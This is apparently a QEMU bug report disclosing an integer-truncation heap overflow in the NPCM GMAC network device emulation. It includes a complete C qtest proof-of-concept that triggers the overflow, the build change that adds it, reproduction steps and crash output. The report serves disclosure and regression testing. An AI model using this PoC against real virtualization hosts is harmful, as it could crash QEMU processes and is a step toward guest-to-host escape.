Heap Overflow in NPCM GMAC Network Controller
Host environment
-
Operating system:
Ubuntu 24.04
-
OS/kernel version:
Linux Mewtwo 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
-
Architecture:
x86
-
QEMU flavor:
qemu-system-aarch64
-
QEMU version:
-
QEMU command line:
-
OS/kernel version:
-
Architecture:
Description of problem
Integer truncation in transmit buffer allocation allows a malicious guest to trigger heap buffer overflow, potentially leading to virtual machine escape and arbitrary code execution on the host.
Affected Component(s): hw/net/npcm_gmac.c (function gmac_try_send_next_packet)
Affected Version(s)/Platform(s):
- All ARM64 platforms using NPCM8xx GMAC network controllers
- npcm845-evb and related NPCM8xx machine types
- QEMU v9.1.3 and latest master branch
- All host architectures running QEMU ARM64 emulation
Impact: A malicious guest with kernel-level access to NPCM GMAC device can:
- Trigger controlled heap buffer overflow (~65KB overflow)
- Corrupt QEMU process heap memory
- Potentially achieve arbitrary code execution on host
- Escape virtual machine security boundary
- Compromise host system and other co-located VMs
Steps to reproduce
FILE 1: Proof-of-Concept Test Code
File: tests/qtest/npcm_gmac_overflow_poc.c (Already exists in your tree)
/*
* Simplified PoC for NPCM GMAC Heap Overflow
* This version is designed to be added to QEMU's test suite
*/
#include "qemu/osdep.h"
#include "libqtest.h"
#define GMAC_BASE 0xf0802000
#define DMA_TX_BASE_ADDR (GMAC_BASE + 0x1010)
#define DMA_CONTROL (GMAC_BASE + 0x1018)
#define DMA_XMT_POLL (GMAC_BASE + 0x1004)
#define GMAC_MAC_CONFIG (GMAC_BASE + 0x0)
#define TX_DESC_OWN (1U << 31)
#define TX_DESC_FIRST_SEG (1U << 29)
#define TX_DESC_LAST_SEG (1U << 30)
#define TX_DESC_CHAINED (1U << 24)
#define DMA_START_TX (1U << 13)
#define MAC_TX_ENABLE (1U << 3)
#define DESC_BASE 0x10000000
#define BUFFER_BASE 0x20000000
#define BUFFER_SIZE 2047
#define NUM_DESC 34 /* 34 * 2047 = 69598, truncated to 4062 */
struct tx_desc {
uint32_t tdes0;
uint32_t tdes1;
uint32_t tdes2;
uint32_t tdes3;
};
int main(void)
{
QTestState *qts;
struct tx_desc desc;
uint64_t desc_addr = DESC_BASE;
uint64_t buffer_addr = BUFFER_BASE;
printf("=================================================\n");
printf("NPCM GMAC Heap Overflow PoC\n");
printf("=================================================\n\n");
printf("[+] Total buffer size: %d * %d = %d (0x%x)\n",
NUM_DESC, BUFFER_SIZE, NUM_DESC * BUFFER_SIZE, NUM_DESC * BUFFER_SIZE);
printf("[+] Truncated to uint16_t: %d (0x%x)\n",
(NUM_DESC * BUFFER_SIZE) & 0xFFFF,
(NUM_DESC * BUFFER_SIZE) & 0xFFFF);
printf("[+] Overflow size: ~%d bytes\n\n",
NUM_DESC * BUFFER_SIZE - ((NUM_DESC * BUFFER_SIZE) & 0xFFFF));
qts = qtest_init("-machine npcm845-evb -display none");
printf("[+] Creating malicious descriptor chain...\n");
/* Create descriptor chain */
for (int i = 0; i < NUM_DESC; i++) {
memset(&desc, 0, sizeof(desc));
desc.tdes0 = TX_DESC_OWN;
desc.tdes1 = BUFFER_SIZE | TX_DESC_CHAINED;
if (i == 0) {
desc.tdes1 |= TX_DESC_FIRST_SEG;
}
if (i == NUM_DESC - 1) {
desc.tdes1 |= TX_DESC_LAST_SEG;
desc.tdes1 &= ~TX_DESC_CHAINED;
}
desc.tdes2 = buffer_addr + (i * BUFFER_SIZE);
desc.tdes3 = (i < NUM_DESC - 1) ? (desc_addr + sizeof(desc)) : 0;
qtest_memwrite(qts, desc_addr, &desc, sizeof(desc));
/* Fill buffer with pattern */
uint8_t pattern[BUFFER_SIZE];
memset(pattern, 0x41, sizeof(pattern));
qtest_memwrite(qts, buffer_addr + (i * BUFFER_SIZE), pattern, sizeof(pattern));
desc_addr += sizeof(desc);
}
printf("[+] Descriptor chain created\n");
printf("[!] Triggering heap overflow...\n\n");
/* Configure and trigger TX */
qtest_writel(qts, DMA_TX_BASE_ADDR, DESC_BASE);
qtest_writel(qts, GMAC_MAC_CONFIG, MAC_TX_ENABLE);
qtest_writel(qts, DMA_CONTROL, DMA_START_TX);
/* TRIGGER THE VULNERABILITY */
qtest_writel(qts, DMA_XMT_POLL, 1);
g_usleep(100000); /* 100ms */
printf("[!] If QEMU is still running, heap overflow occurred!\n");
printf("[!] Compile with --enable-sanitizers to detect:\n");
printf(" cd build && ../configure --enable-sanitizers && make\n\n");
qtest_quit(qts);
printf("=================================================\n");
printf("PoC completed\n");
printf("=================================================\n");
return 0;
}
FILE 2: Build Configuration
Add to tests/qtest/meson.build (Already done in your tree):
qtests_npcm8xx = [
'npcm_gmac-test',
'npcm_gmac_overflow_poc' # ← Added this line
]
REPRODUCTION STEPS
Step 1: Build QEMU with the test
cd /path/to/qemu
Configure
./configure --target-list=aarch64-softmmu
Build
make -j$(nproc)
Set the QEMU binary path
export QTEST_QEMU_BINARY=./qemu-system-aarch64
Run the PoC
./tests/qtest/npcm_gmac_overflow_poc Step 3: Observe the Crash
EXPECTED OUTPUT (Vulnerability Confirmed):
=================================================
NPCM GMAC Heap Overflow PoC
=================================================
[+] Total buffer size: 34 * 2047 = 69598 (0x10fde)
[+] Truncated to uint16_t: 4062 (0xfde)
[+] Overflow size: ~65536 bytes
# starting QEMU: exec ./qemu-system-aarch64 -qtest unix:/tmp/qtest-XXXXXX.sock ...
[+] Creating malicious descriptor chain...
[+] Descriptor chain created
[!] Triggering heap overflow...
malloc(): invalid next size (unsorted)
Broken pipe
../tests/qtest/libqtest.c:208: kill_qemu() detected QEMU death from signal 6 (Aborted) (core dumped)